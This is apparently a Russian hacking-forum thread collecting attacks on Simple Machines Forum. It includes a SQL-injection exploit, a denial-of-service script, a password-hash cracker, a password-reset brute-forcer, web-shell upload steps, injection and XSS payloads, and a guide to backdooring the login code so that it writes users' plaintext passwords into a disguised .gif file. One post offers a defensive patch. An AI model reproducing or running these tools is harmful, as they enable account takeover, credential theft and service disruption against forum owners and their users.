if rsp.status == 404:
exit ("[-] Error 404. Not Found")
elif r.find('<input type="hidden" name="sc" value="') != -1 and r.find('" />') != -1 :
self.sesc = r.split('<input type="hidden" name="sc" value="')[1].split('" />')[0]
if len(self.sesc) != 32: exit ("[-] Invalid Sesc")
print "[+] Sesc has been successfully read ==> "+self.sesc
else:
exit ("[-] Unable to find Sesc")

def CreateLabels(self):
print "[+] Creating three labels..."
for i in range (0,3):
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label" : i, "add" : "Add+New+Label"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})
sleep(0.35)
def Inject(self):
print "[+] Sql code is going to be injected."
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?debug;action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label_name[0]" : "o rly" + unquote("%a3%27"),"label_name[1]" : "ID_GROUP=1 WHERE/*", "label_name[2]" : "*/ID_MEMBER=" + uid + "/*", "save" : "Save", "sc" : self.sesc, "db_character_set": "big5"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})

killsmf()

# milw0rm.com [2008-06-15]

milw0rm.com [2008-06-15]

Elekt
16.06.2008, 22:31
SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
http://www.simplemachines.org/

Уязвимость заключается в неопределенном параметре $topic.
Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения.

Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом.

Требуется:
1) register_globals=ON
2) database prefix, default "smf_"
3) Mysql => 4.1

c0d3d by Elekt (www.antichat.ru), 13.12.2007

::FAQ::

Q1: "[-] SMF unvulnerable" - что это значит?
A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего
серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя.

Q2: "[-] MySQL < 4.1" - что это значит?
A2: Версия базы данных ниже требуемой.
На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj.
Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть.
Это неизвестная мне особенность конкретно взятого сервера.
Возможно, там стоит IDS или mod_security. Так или иначе - это плохо.
Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark().
Из соображений гуманности я не включил модуль доса форума в паблик эксплоит.

Q3: "[-] Prefix is not correct" - что это значит?
A3: Префикс таблиц форума отличен от стандартного.
Необходим перебор его имени по словарю для mysql4.
Возможно автоопределение префикса для mysql 5.х
В паблик эксплоите функция не реализована.

Q4: "[i] Found error."
A4: Найдена ошибка.
1) Может возникнуть при нестабильном коннекте вашего интернет подключения.
Рекомендуется перезапустить эксплоит.
2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно.
Данный баг связан с различиями в структуре таблиц форума разных версий.
Рекомендуется указывать айди админа ключом "-i".
perl smf114expl.pl -h www.target.com -d / -i 1


[i] информация предоставлена с целью ознакомления

cash$$$
16.07.2008, 00:16
что можно сделать с пропатченой 1.1.2?
.спасибо
Существует уязвимость из-за слабой реализации звуковой капчи. В этом движке звуковая капча реализуется посредством посылания браузеру
звукового фала в формате WAV, файл создается путем склеивания произвольным
образом нескольких файлов с разными звуками, и служит преградой от
автоматической регистрации новых пользователей.
разработчики включили рандомизацию выходящего WAV файла в
скрипте /Sources/Subs-Sound.php но она явно недостаточна, и легко обходится
перебором байтов по заданным шаблонам звуков
[blah@localhost smfh]$ ./captcha.pl http://localhost/smf/
nnrbv
created in 1.41827201843262 seconds
[andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/
vpubu
created in 1.49515509605408 seconds
[andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/
ntfhh
created in 2.31928586959839 seconds
[andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/
egudz
created in 0.823321104049683 seconds
как видно перебор составляет всего одну - две секунды. Так же, существует возможность выполнения произвольного PHP кода при создании или
редактировании сообщения форума.

baltazar
23.07.2008, 14:05
В старых версиях SMF /attachments не закрыт через .htaccess (или если не настроен mod_rewrite апача)

1) Если шифрование имени файла отключено, то:
берем шелл(я пользовался с99) и переиминовываем его в c99.php.zip
(не ложим в архив,а просто переиминовываем)
Теперь загружаем его как аттачмент в любом посте
Шелл искать в:
http://[target]/[path]/attachments/c99.php.zip

2) Из админки.
Идем в:
Forum->Attachments and Avatars
Добавляем php:
Allowed attachment extensions: jpg,php
Отключаем шифрование имени:
Encrypt stored filenames: [ ]

Далее аналогично 1) за исключением переименования.

ShAnKaR
23.07.2008, 19:24
Да, да это я про :

2. PHP injection

There is a possibility to execute any PHP code during creation or
editing of forum message.
(no further details is given by advisory author).


в общем времени достаточно прошло чтобы все было уже пропатчено , так что выкладывается в паблик )
файлик Sources/Subs-Post.php

// Make sure all tags are lowercase.

$parts[$i] = preg_replace('~\[([/]?)(list|li|table|tr|td)([^\]]*)\]~e', '"[$1" . strtolower("$2") . "$3]"', $parts[$i]);

baltazar
24.07.2008, 11:08
#!/usr/bin/perl
use IO::Socket;
print q{
.____ ________ .__ ________________
| | \_____ \__ __ ____ | | / _____/ __ \
| | _(__ < \/ // __ \| | ______ / __ \\____ /
| |___ / \ /\ ___/| |__ /_____/ \ |__\ \ / /
|_______ \/______ /\_/ \___ >____/ \_____ / /____/
\/ \/ \/ \/
_______ _______ _______ ______ _______ _______
( ____ \( )( ____ \ ( __ \ ( ___ )( ____ \
| ( \/| () () || ( \/ | ( \ )| ( ) || ( \/
| (_____ | || || || (__ | | ) || | | || (_____
(_____ )| |(_)| || __) | | | || | | |(_____ )
) || | | || ( | | ) || | | | ) |
/\____) || ) ( || ) | (__/ )| (___) |/\____) |
\_______)|/ \||/ (______/ (_______)\_______)
/************************************************** ********\
| SMF 1.1.4 Search DOS |
| |Petros| |
| www.fallen-empires.com |
| www.l3vel-69.net |
\************************************************* *********/
};
$rand=rand(10);
print "Forum Host: ";
$serv = <stdin>;
chop ($serv);
print "Path To Search2: ";
$path = <stdin>;
chop ($path);
print "Times To Search: ";
$times = <stdin>;
chop ($times);

for ($i=0; $i<$times; $i++)
{

$quiry="l3vel69-".$rand.$i;
$form = "search=1234567899876544321&submit=Search&advanced=0";

$len = length $form;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Can't Connect Host, it may be ddos'ed already.";
print $get1 "POST ".$path." HTTP/1.0\n";
print $get1 "Host: ".$serv."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $form;
syswrite STDOUT, "69";
}
print "Forum should be Dosed. Check it out...if not use a higher search\n";

mailbrush
25.07.2008, 13:01
#!/usr/bin/perl
#
# Simple Machines Forum v1.1.4/v1.1.5 password hash cracker
# not some hack tool you kid.
# Quickly coded, feel free to improve
#
# Iron
# http://www.randombase.com
# or better: http://www.perlforums.org
#
use Digest::SHA1 'sha1_hex';
print "
Simple Machines Forum v1.1.4/v1.1.5 password hash cracker
by Iron - http://www.randombase.com / http://www.perlforums.org

Menu..
1. Numeric attack
2. Alphabetic attack or whatever
3. Mix 'em up Johnny
4. Dictionary attack
< Choice > ";
chomp($c=<stdin>);
print "[+]Username of the target: ";
chomp($u=lc(<stdin>));
print "[+]Password hash of the target: ";
chomp($p=<stdin>);
print "[+]Cracking... could take a while";
if($c eq '1')
{
numeric();
}
elsif($c eq '2')
{
alpha();
}
elsif($c eq '3')
{
mix();
}
elsif($c eq '4')
{
dict();
}

sub numeric
{
$i = 0;
while(sha1_hex($u.$i) ne $p){$i++;}
print "\n[+]Sweet! Found the password: ".$i;
}
sub alpha
{
for($i = "a";$i ne "zzzzzzz" && sha1_hex($u.$i) ne $p;$i++){}
print "\n[+]Sweet! Found the password: ".$i;
}
sub mix
{
print "Not finished. Yet.";
}
sub dict # needs some cleaning to make it faster
{
print "\n[+]I'll need a dictionary though, care to give its filename? ";
chomp($dict=<stdin>);
open(d,"<".$dict);
$found = 0;
while(($line = <d>))
{
chomp($line);
if(sha1_hex($u.$line) eq $p)
{
print "[+]Sweet! Found the password: ".$line;
$found = 1; next;
}
}
if(!$found)
{
print "[-]Not sweet. I couldn't find the password in your dictionary.";
}
}

mailbrush
09.08.2008, 18:17
Узнаем мыло пользователя SMF (любая версия) через RSS

Вот нашел небольшой баг в SMF, позволяющий узнать мыльник юзера SMF. Например ты смотришь профайл какого-то юзера, и видишь: E-mail: скрытый. Так вот, ты можешь узнать его мыло!

Для чего это надо?
Это уже в ваших целях.

Итак, начнем. Качаем любой браузер, который поддерживает чтение RSS новостей; я использую Opera. Переходим на наш форум, и видим в строке адреса:

http://s56.radikal.ru/i152/0808/8f/efbcb4c14897.jpg

Нас интересует то, что возле стрелки. Это и есть подписка на новости. Т.е. если на форуме кто-то напишет сообщение, оно сразу же появиться в меню "Каналы новостей".

После нажатия на значок RSS, ждем порядка 10 секунд, и видим:

http://s58.radikal.ru/i161/0808/55/974e4027e6b6.jpg

Жмем "Да". Видим, у нас появилась меню "Каналы новостей", кликаем по нему, выбираем название форума. Все, теперь осталось только ждать, когда кто-то напишет сообщение.

Написал? - Можете радоваться. Видим это:

http://s42.radikal.ru/i095/0808/d9/49dba1e96bcd.jpg

Вот и все, ребята. Используйте мыло в своих целях.

PS: Прошу строго не судить, так как эт мое первое творение.

Elekt
01.09.2008, 20:17
Криптографическая атака на SMF
Заслуживает внимания.

_http://forum.antichat.ru/thread81052.html

[Raz0r]
07.09.2008, 12:57
Смена пароля любого пользователя в SMF <=1.1.5

Обнаружил уязвимость, которая позволяет сменить пароль любому пользователю форума, в том числе администратору, через систему восстановления пароля, не имея доступа к почтовому ящику атакуемого пользователя. Она возможна благодаря предсказуемости кода подтверждения для смены пароля, который генерируется с помощью функции rand().
Уязвимость актуальна, если веб-приложение установлено на платформе win32.

http://milw0rm.com/exploits/6392

TANZWUT
05.10.2008, 11:18
http://milw0rm.com/exploits/6665

Name: SMF 1.1.6 Filter Post Bypass
Author: WHK
WebSite: http://www.jccharry.com/

en{
The data in a post are not filtered properly when someone enters
statements BBCode wrong without content that a user can enter
words banned by the system of restrictions by allowing expose
SPAM content, and so on.
}

es{
Los datos en un post no son filtrados adecuadamente cuando alguien
ingresa declaraciones bbcode sin contenido probocando que un
usuario pueda ingresar palabras prohibidas por el sistema de
restricciones permitiendo exponer contenido SPAM, etc.
}

Example of a post / Ejemplo de un post:

------------------------------------------------------------------
[*color=red][*size=20pt]Fu[*url][*/url]ck you admin![*/size][*/color]

My SPAM: [*b]ht[*b][*/b]tp://www.jc[*i][*/i]charry.com/[*/b] >:D
------------------------------------------------------------------

Demo:
http://www.jccharry.com/archivos_publicos/smf_filter_post_bypass.png

[Raz0r]
05.11.2008, 21:59
Simple Machines Forum (SMF) 1.1.6 Remote Code Execution Exploit
Автор: Charles FOL

Загрузка gzip-архива с валидным модулем SMF, содержащим шелл, через атачменты форума,
а затем непреднамеренная установка этого модуля администратором с помощью CSRF-уязвимости (тэг [img])

http://real.olympe-network.com/releases/19817

Rashid
07.11.2008, 16:31
[QUOTE='[Raz0r]']Simple Machines Forum (SMF) 1.1.6 Remote Code Execution Exploit
http://milw0rm.com/exploits/6993
[QUOTE]
На данный момент, эксплойт размешенный по http://milw0rm.com/exploits/6993 не доработанный, рабочий находится по адресу: _http://real.olympe-network.com/releases/19817

[Raz0r]
07.11.2008, 20:46
Simple Machines Forum <= 1.1.6 Code Execution (LFI)
Автор:~elmysterio ( a.k.a us )

Локальный инклуд раннее загруженного атачмента с расширением .gif, содержащим шелл

http://milw0rm.com/exploits/7011

mailbrush
08.11.2008, 18:58
SMF <= 1.1.6 Karma Description Mod XSS
<script>alert(/XSS/)</script>
Автор: mailbrush (Я)
Не фильтрируется поле "За что" в моде кармы.

yaotzin
11.11.2008, 20:26
нехтит :(

# Logged in as yaotzin
# Waiting 5 secs (flood control)
PHP Notice: Use of undefined constant frmdt_filename - assumed 'frmdt_filename'
in D:\PHP\php5.2.6\exploit.php on line 310
PHP Notice: Use of undefined constant frmdt_type - assumed 'frmdt_type' in D:\P
HP\php5.2.6\exploit.php on line 311
PHP Notice: Use of undefined constant frmdt_content - assumed 'frmdt_content' i
n D:\PHP\php5.2.6\exploit.php on line 312
PHP Notice: Use of undefined constant frmdt_url - assumed 'frmdt_url' in D:\PHP
\php5.2.6\exploit.php on line 1263
PHP Notice: Use of undefined constant frmdt_boundary - assumed 'frmdt_boundary'
in D:\PHP\php5.2.6\exploit.php on line 1267
PHP Notice: Use of undefined constant frmdt_filename - assumed 'frmdt_filename'
in D:\PHP\php5.2.6\exploit.php on line 1285
PHP Notice: Use of undefined constant frmdt_type - assumed 'frmdt_type' in D:\P
HP\php5.2.6\exploit.php on line 1287
PHP Notice: Use of undefined constant frmdt_type - assumed 'frmdt_type' in D:\P
HP\php5.2.6\exploit.php on line 1288
PHP Notice: Use of undefined constant frmdt_transfert - assumed 'frmdt_transfer
t' in D:\PHP\php5.2.6\exploit.php on line 1290
PHP Notice: Use of undefined constant frmdt_content - assumed 'frmdt_content' i
n D:\PHP\php5.2.6\exploit.php on line 1293
# Error while posting
# Try augmenting -wait parameter
#

D:\PHP\php5.2.6>

Rashid
12.11.2008, 05:38
to yaotzin
в рнр.ini
error_reporting = E_ALL & ~E_NOTICE
запускать сплойт с параметром -wait 10

Nightmarе
12.11.2008, 05:56
Цель: Simple Machines Forum (SMF) 1.1.6 и более ранние версии
Воздействие: Выполнение произвольных команд
Код эксплоита: http://www.securitylab.ru/bitrix/exturl.php?goto=%2Fpoc%2Fextra%2F362535.php

piton
13.11.2008, 00:31
Цель: Simple Machines Forum (SMF) 1.1.6 и более ранние версии
Воздействие: Выполнение произвольных команд
Код эксплоита: http://www.securitylab.ru/bitrix/exturl.php?goto=%2Fpoc%2Fextra%2F362535.php

Не работает =(
[!!] Wrong username/password
юзер валидный но всеравно не работает (

baltazar
04.01.2009, 01:07
http://milw0rm.com/exploits/7011


СМФ имеет функцию изменения тем,так вот это уязвимость заключается в изменении настроек тем,а затем присвоения значение $ параметрам конфигурации,так что вы можете изменять настройки смф

Итак:
Sources/Themes.php

249 в index.php:

'jsoption' => array('Themes.php', 'SetJavaScript')

1185 в Sources/Themes.php
function SetJavaScript()

Затем эта функция выделяет темы в таблице переменных, которые вы послали

1205 в Sources/Themes.php
db_query("
REPLACE INTO {$db_prefix}themes
(ID_THEME, ID_MEMBER, variable, value)
VALUES ($settings[theme_id], $ID_MEMBER, SUBSTRING('$_GET[var]', 1, 255), SUBSTRING('" . (is_array($_GET['val']) ? implode(',', $_GET['val']) : $_GET['val']) . "', 1, 65534))", __FILE__, __LINE__);

Зaтем считывает одну и ту же инфу тем же методом:

$request = db_query("
SELECT ID_THEME, variable, value
FROM {$db_prefix}themes
WHERE variable IN ('name', 'theme_url', 'theme_dir', 'images_url')" . (empty($modSettings['theme_default']) && !allowedTo('admin_forum') ? "
AND ID_THEME IN ('$knownThemes')
AND ID_THEME != 1" : '') . "
AND ID_THEME != 0
LIMIT " . count(explode(',', $modSettings['knownThemes'])) * 8, __FILE__, __LINE__);

861 в Sources/Themes.php

while ($row = mysql_fetch_assoc($request))

Параметры в $context['available_themes'][TEMA]

869 в Sources/Themes.php

$context['available_themes'][$row['ID_THEME']][$row['variable']] = $row['value'];

Затем принимает информацию по пунктам:

904 в Sources/Themes.php

foreach ($context['available_themes'] as $ID_THEME => $theme_data)

И в настройки перменные принимают значения,который мы только что изменили

910 в Sources/Themes.php

$settings = $theme_data;

И в конце концов, в том числе файл, использует значение $ theme_dir
include($settings['theme_dir'] . '/languages/Settings.' . $user_info['language'] . '.php')

baltazar
09.01.2009, 21:49
Уязвимости в модуле Seo4SMF

SQL Иньекции:

Файл: seo4smf-redirect.php

Куски уязвимого кода:


Line 7-13
$topic = $_GET['t'];
$board = $_GET['b'];
$other = $_GET['o'];
$user = $_GET['u'];
$tpage = $_GET['p'];
$action = $_GET['a'];
$param = $_GET['param'];

Line 50-63
$query = db_query("
SELECT m.ID_TOPIC, m.subject ,b.ID_BOARD, b.name
FROM {$db_prefix}messages AS m, {$db_prefix}boards AS b
WHERE m.ID_TOPIC = $topic
AND m.ID_BOARD = b.ID_BOARD
IMIT 1", __FILE__, __LINE__);

Line 105-108
$query = db_query("
SELECT name FROM {$db_prefix}boards AS b
WHERE ID_BOARD = $board
LIMIT 1", __FILE__, __LINE__);

Line 125
$request = db_query("SELECT memberName FROM {$db_prefix}members where
ID_MEMBER=".$user." limit 1", __FILE__, __LINE__);

Line 143
$request = db_query("SELECT subject FROM {$db_prefix}tp_articles where
id=".$tpage." limit 1", __FILE__, __LINE__);

Переменные не содержат никакие фильтры,поэтому можно провести Sql иньекцию.

http://site/smf/seo4smf-redirect.php?t=-1 union select 1,2,3...,concat(username(),database()) –


XSS:



Файл: seo4smf-redirect.php

Кусок уязвимого кода:
if(!empty($url)){
header('HTTP/1.1 301 Moved Permanently');
header('Location: '.$url);
exit;
}

http://site/seo4smf-redirect.php?a=x%0DLocation:%20javascript:alert(do cument.cookie);

AnOcToJI
23.01.2009, 14:30
покапавшись на днях в интернете наткнулся на такой exploit для SMF 1.1.7 тут www.securitylab.ru (http://www.securitylab.ru/poc/extra/366302.php)

#!/usr/bin/perl

use LWP::UserAgent;
use Getopt::Std;
use LWP::Simple;
use HTTP::Request;

#Author: Xianur0
#Uxmal666[at]gmail.com
# Cracks links Password Recovery
# Find Temporary Files executed by mods
# DB function Flood by Error Log
# File Path Disclosure
# List installed Mods (Useful To Find Mods Vulnerable)
# etc. ..

print "\n\n\x09\x09\x09\x09\x09SMF Destroyer 0.1 By Xianur0 [Priv8]\n\n";
my $url = $ARGV[1] || die ("Use: smf.pl [option] [Full URL]
[Proxy:Puerto]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l
Installed Mods List \n-b Find Temporary\n-c Cracks links Password
Recovery (Recommended Use Proxy)");
version();
my $proxy = $ARGV[2] || "";
if($ARGV[0] ne "-c" && $proxy ne "") {
$ua->proxy(["http"], "http://".$proxy);
}

getopts('fplbc', \%opt);
crackeador() if $opt{c};
flood() if $opt{f};
path() if $opt{p};
list() if $opt{l};
temp() if $opt{b};

sub headers {
$req->header('Accept' => 'text/html');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
}

sub version {
$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12)
Gecko/20080201 Firefox/2.0.0.12');
$req = HTTP::Request->new(GET => $url);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
if ($html =~ /title="Simple Machines Forum" target="_blank">Powered by
SMF (.*?)<\/a>/){
$version = $1;
print "\n[X] SMF Version: $version\n";
if($version < "1.1.7") {
print "\n[X] Outdated Version $version!!!!!!!!!!!\n\n[X]
http://milw0rm.com/search.php?dong=smf".$version."\n\n";
}
}}}

sub path {
$req = HTTP::Request->new(GET => $url.'/SSI.php?ssi_layers');
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
if ($html =~ /Undefined variable: ssi_layers in <b>(.*?)SSI.php/){
print "[X] Directory: $1\n";
} else { print "[!] Getting error Directory!\n";}
}
}

sub flood {
print "[X] Starting Flood! (Press Ctrl + C To Finish)\n";
$texto = "Flood!!!!!" x 15;
$req = HTTP::Request->new(GET =>
$url.'/index.php?action=help;page['.$texto.']=loginout');
&headers;
for($i = 1; $i<10000; $i++) {
$res = $ua->request($req);
if ($res->is_success) {
print "[-] Sent: ".$i."\n";
} else {
print "[!] HTTP Error Query: " . $res->status_line . "\n";
}
}
}


sub temp {
@temps=('index.php~','Settings.php~','Settings_bak .php~');
foreach $temp (@temps) {
$req = HTTP::Request->new(GET => $url."/".$temp);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
print "[X] Temporary File Found: ".$url."/".$temp."\n";
} else {print "[!] Not Found: ".$url."/".$temp."\n";}
}
}

sub list {
$req = HTTP::Request->new(GET => $url."/Packages/installed.list");
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
my @htmls = split("\n", $html);
foreach $mod (@htmls) {
my @mod = split('\|\^\|', $mod);
print "[X]Package:\nDescription: $mod[0]\nFile:
$url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";

}
}
}

sub crackeador() {
$url = $ARGV[0];
$nick = $ARGV[1];
$id = $ARGV[2] || die("Use: smf.pl -c [URL SMF] [Nick Admin] [ID
Admin] [Proxy:Puerto]\nExample: smf.pl -p
http://www.simplemachines.org/community/ dschwab9 179
www.carlosslim.com:3128\n");
my $reminder = $url."?action=reminder";
my $smf = $reminder.";sa=setpassword;u=".$id.";code=";
my $proxy = $ARGV[3];
if($proxy ne "") {
$ua->proxy(["http"], "http://".$proxy);
}

sub mail() {
my $content = HTTP::Request->new(GET => $reminder);
$contenedor = $ua->request($content)->as_string;
if ($contenedor =~ /Set-Cookie: (.*?)
/){
print "\n[+] SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
if ($contenedor =~ /<input type="hidden" name="sc" value="(.*?)"/){
print "\n[+] sc Detected: $1\n";
$sc = $1;
} else { die "[!] SC could not be found!\n";}
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
$req->content_type('application/x-www-form-urlencoded');
$req->content('user='.$nick.'&sc='.$sc.'&=enviar');
$req->header('Cookie' => $session);
my $res = $ua->request($req)->as_string;
if(!$res) {exit;}
print "[x]Sent!\n";

}

sub generador() {
my $password = "";
my @chars = split(" ",
"0 1 2 3 4 5 6 7 8 9 a b c d e
f g h i j k l m n o p q r s t
u v w x y z");
for (my $i=0; $i < 10 ;$i++) {
$_rand = int(rand 35);
$password .= $chars[$_rand];
}
return $password;
}

sub brute() {
while($bucle ne "finito") {
$code = generador();
my $fuente = $reminder.";sa=setpassword;u=".$id.";code=".$code;
my $content = HTTP::Request->new(GET => $reminder);
my $content = $ua->request($content)->as_string;
if ($content =~ /<input type="hidden" name="sc" value="(.*?)"/){
$sc = $1;
} else { die "[!] SC could not be found!\n";}
if ($content =~ /Set-Cookie: (.*?)
/){
print "\n[+] New SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
print "[+] Testing Code: ".$code."\n";
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
$req->content_type('application/x-www-form-urlencoded');
$req->content('passwrd1=xianur0washere&passwrd2=xianur0washere&code='.$code.'&u='.$id.'&sc='.$sc);
$req->header('Cookie' => $session);
$res = $ua->request($req);
if ($res->is_success) {
if($res->content =~ '<input type="text" name="user" size="20" value="') {
print "[-] Password Changed!\n[x] New password: xianur0washere\nUsername: $1\n";
exit;
}
} else { die "[!] HTTP response incorrect!\n";}}}

print "\n[-] Sending Mail...\n\n";
mail();
print "\n[-] Attacking code link recovery...\n";
brute();
}

[underwater]
16.04.2009, 00:59
http://forum.antichat.ru/showpost.php?p=1047861&postcount=31

Пришлось иметь дело с данным скриптом, действительно корявый, возможные решения проблемы:

$topic = (int)$_GET['t'];
$board = (int)$_GET['b'];
$user = (int)$_GET['u'];
$tpage = (int)$_GET['p'];
Целые пройти, чтобы избежать проверки данных

$other = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['o']);
$action = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['a']);
$param = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['param']);
Фильтр только для допустимых регулярок для SMF

А тут делаем проверку на соответствие тем:
function seo_verifica_permisos($id, $tipo){
global $user_info, $db_prefix;
if(!$id = (int)$id){
return false;
}
if($user_info['is_admin'] == '1'){
return true; //Если админ права по умолчанию
}
if($tipo == 'board'){
if($request = @db_query("
SELECT memberGroups
FROM {$db_prefix}boards
WHERE ID_BOARD = {$id}
LIMIT 1", __FILE__, __LINE__)){
if($row = @mysql_fetch_assoc($request)){
mysql_free_result($request);
}
}
if(!$permisos = @explode(',', $row['memberGroups'])){
if(!$permisos = (int)$row['memberGroups']){
return false;
}
}
foreach($permisos as $valor){
if($valor == $user_info['groups'][0]){
return true;
}
}
return false;
}elseif($tipo == 'topic'){
if($request = @db_query("
SELECT ID_BOARD
FROM {$db_prefix}topics
WHERE ID_TOPIC = {$id} LIMIT 1", __FILE__, __LINE__)){
if($row = @mysql_fetch_assoc($request)){
mysql_free_result($request);
}
}
if(seo_verifica_permisos((int)$row['ID_BOARD'], 'board')){
return true;
}else{
return false;
}
}else{
return false;
}
}

Ну собственно небольшой патч, если "это" так можно назвать(простите за грамматические ошибки и лексически не правильно построенные фразы, час ночи, спать охота).Собственно ссылки:
http://dump.ru/file/2460593
http://slil.ru/27454401
Пароль: underantichat?!

[underwater]
19.04.2009, 00:30
Скорее не баги, а так интересные наблюдения, где что хранится у смф:

Ошибка при обработке пакетов:

Ошибки при обработке пакетов сохраняется для того чтобы воможность редактирования, возможность сделать сделал резервную копию каждого файла PHP, которго коснулась изменения, но после смены, в 90% случаев они не удаляются администратором и доустпны всем желающим:
http://forum.com/index.php~
или
http://www.forum.com/Settings.php ~
Например: http://foro.infiernohacker.com/index.php ~

Ошибка расширения файлов:
Хранятся тут:
http://forum.com/Packages/installed.list
Например: опять-таки http://foro.infiernohacker.com/Packages/installed.list


Директория на сервере:
Хранится тут:
http://forum.com/SSI.php?ssi_layers
Например: http://foro.infiernohacker.com/SSI.php?ssi_layers
Кроме того логи записываются еще и в http://forum.com/error_log

wolmer
19.05.2009, 16:23
Трояним SMF (сбор открытых паролей)

И так открываем файл LogInOut.php который лежит в Source
Редактируем файл...
Ищем следующий код (он в дефолтном виде файла будет на 386 строке)

if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);
$Login = $_REQUEST['user'];


После него подставляем такой код


$Login = $_REQUEST['user']; //пишем в переменную login параметр user от посланного POST запроса
$Passwd = $_REQUEST['passwrd']; //пишем в переменную login параметр passwd от посланного POST запроса
$fp = fopen("./wavatar1.gif","a+"); //открываем файл wavatar1, если он не сущ то он создаеться автоматом
fwrite($fp,"$Login:$Passwd\r\n"); //пишем что в переменных login, passwd и переносим на след. строку
fclose($fp); //закрываем открытый файл


Должно получиться так


..........
if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);
$Login = $_REQUEST['user'];
$Passwd = $_REQUEST['passwrd'];
$fp = fopen("./attachments/wavatar1.gif","a+");
fwrite($fp,"$Login:$Passwd\r\n");
fclose($fp);
// Get ready to set the cookie...
$username = $user_settings['memberName'];
$ID_MEMBER = $user_settings['ID_MEMBER'];
..........


Логинимся... Мда звездочки пишуться в файл =\
Теперь идем в папку Themes\default (где default имя темы которая стоит на данный момент)
Редактируем файл Login.template.php
Ищем в нем POST запросы (он в самом внизу находиться) код будет следующим (в случае если ниже код встречаеться в коде то редактируем)

<form action="', $scripturl, '?action=login2" method="post" accept-charset="', $context['character_set'], '" name="frmLogin" id="frmLogin" style="margin-top: 4ex;"', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' . $context['session_id'] . '\');"' : '', '>

Теперь в этом ПОСТ запросе
Удаляем следующий код

', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' . $context['session_id'] . '\');"' : '', '>

Повторюсь надо сделать это ко всем ПОСТ запросам в файле Login.template.php

Полезная информация:
[Код который мы удалили он шифрует пароль в звездочки]

Логинимся... и в файле который мы прописали появится логин и пароль :)

Автор: .wolmer

[underwater]
22.05.2009, 22:33
Несколько слов о версии 1.9

1. Ошибках в форме опросов.

Смотрим в файле Sources/Pool.php (164-166):
foreach ($_REQUEST['options'] as $id)
{
$id = (int) $id;

Если в переменную подставить, например, -1, то при показе результатов наш голос не будет засчитыватся.
Бага конечно не серьезная, но все же)

2.Смотрим Sources/Sub-Auth.php, где запрос к базе данных при поиске может достигать глобальных значений, или остановится, когда достигнет указанного предела в php.ini.

Например, заходим в Профиль -> Настройка личных сообщений и нажать на поиск пользователей(эта опция находится в нескольких разделах в профиле) после чего откроется небольшое окно
http://forum.com/index.php?action=findmember; sesc = [hash]

Ошибки скрипта задаются в пхп.ини,
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 86 bytes) in /home/vart001/public_html/foro/Sources/Subs-Auth.php on line 468

3.RRS. С этим у смф траблы- достаточно сделать несколько запросов, чтоб вырубить майскулу было отказано в доступе, так как будет превышен лимит памяти.

Для неверующих:

http://forum.com/index.php?action=.xml;sa=news;board=34;limit=999;t ype=rss

Fatal error: Maximum execution time of 30 seconds exceeded in /home/vart001/public_html/foro/Sources/Load.php(195) : runtime-created function on line 3

5.Раскрытие информации.Не работает должным образом опция "скрытый профиль" (не отобращается, что вы в онлайне).Так как данные узнать не составит большого труда.

mailbrush
13.06.2009, 17:53
Blind SQL-Инъекция в моде Member Awards
Автор: mailbrush
Часть уязвимого кода (ManageAwards.php): // Load single award ifo for editing.
$request = db_query("
SELECT ID_AWARD, awardName, gameName, timeAdded, filename, width, height
FROM {$db_prefix}awards
